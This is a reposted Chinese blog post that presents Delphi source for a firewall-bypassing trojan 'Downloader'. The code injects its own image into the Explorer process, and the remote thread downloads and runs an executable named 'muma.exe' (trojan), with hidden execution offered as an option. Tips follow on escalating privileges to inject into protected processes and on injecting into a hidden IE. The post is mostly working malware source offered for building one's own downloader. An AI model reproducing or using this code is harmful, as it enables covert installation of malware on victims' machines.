博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
打造无DLL版穿透防火墙Downloader
阅读量:6341 次
发布时间:2019-06-22

本文共 1620 字,大约阅读时间需要 5 分钟。

这份代码的思路来自于国外EES组织的Aphex。基本上所有的无DLL Download都是利用的这种方法。其实也就是用烂了的远程注入法。不过注入的对象不是一个DLL,而是本身的一个过程。下面是代码,由于本人专业知识不够,可能有些说法不太专业。请大家凑合着看。有不懂的请跟贴。

program InjectTheSelf;

{$IMAGEBASE $13140000}

uses Windows, Urlmon;

procedure Download;  //下载过程
begin
  URLDownloadToFile(nil, '', 'C:\muma.exe', 0, nil);
  WinExec('C:\muma.exe', SW_SHOW); //SW_SHOW or SW_HIDE
end;

var
  hModule, hModule_News: Pointer;
  Extent, Size, ThreadId: longword;
  ProcessHandle, Pid: longword;

begin
  GetWindowThreadProcessId(FindWindow('Shell_TrayWnd', nil), @Pid);
//获取Exp进程的PID码,Shell_TrayWnd为类名,相关的需用SPY++来查看

  ProcessHandle := OpenProcess(PROCESS_ALL_ACCESS, False, Pid); //打开进程

  hModule := Pointer(GetModuleHandle(nil));

//这里得到的值为一个返回一个指针型变量,指向内容包括自身映像的基址和长度

  Extent := PImageOptionalHeader(Pointer(integer(hModule) + PImageDosHeader(hModule)._lfanew + SizeOf(dword) + SizeOf(TImageFileHeader))).SizeOfImage;

//得到内存映像的长度

  VirtualFreeEx(ProcessHandle, hModule, 0, MEM_RELEASE);

//在Exp进程的内存范围内分配一个足够长度的内存

  hModule_News := VirtualAllocEx(ProcessHandle, hModule, Extent, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);

//确定起始基址和内存映像基址的位置

  WriteProcessMemory(ProcessHandle, hModule_News, hModule, Extent, Size);

//确定上面各项数据后,这里开始进行操作

  CreateRemoteThread(ProcessHandle, nil, 0, @Download, hModule, 0, ThreadId);

//建立远程线程,至此注入过程完成

  CloseHandle(ProcessHandle);

//关闭对像
end.

需要说明的是,尽管这已经是一份完整的穿墙版Downloader的代码。但其还是有很多BUG的。如果你想写属于自己的下载者,请注意解决下面几个问题

1、上面的代码用到的远程注入的方法所用到的函数在Windows9X下没有。

2、Windows和一些应用程序对某些进程做了保护,不允许进程进行越权操作。如Svchost、QQ等进程的注入,必须先进行提权操作。
3、若需注入到IE。请先用Winexec的SW_HIDE模式打开一个隐藏的IE进程,将程序挂起3秒后再进行注入。这个是针对一些老机器而作的。

转载于:https://www.cnblogs.com/FKdelphi/p/4642953.html

你可能感兴趣的文章
boost bind使用指南
查看>>
/etc/fstab功能详解
查看>>
oracle高速缓存机制
查看>>
使用ntpdate更新系统时间
查看>>
Android M 特性 Doze and App Standby模式详解
查看>>
IE FF(火狐) line-height兼容详解
查看>>
谷歌Pixel 3吸引三星用户, 但未动摇iPhone地位
查看>>
python获取当前工作目录
查看>>
VUE中使用vuex,cookie,全局变量(少代码示例)
查看>>
grep -w 的解析_学习笔记
查看>>
量化交易之启航
查看>>
TX Text Control文字处理教程(3)打印操作
查看>>
CENTOS 7 如何修改IP地址为静态!
查看>>
MyCat分片算法学习(纯转)
查看>>
IO Foundation 3 -文件解析器 FileParser
查看>>
linux学习经验之谈
查看>>
mysqld_multi实现多主一从复制
查看>>
中介模式
查看>>
JS中将变量转为字符串
查看>>
servlet笔记
查看>>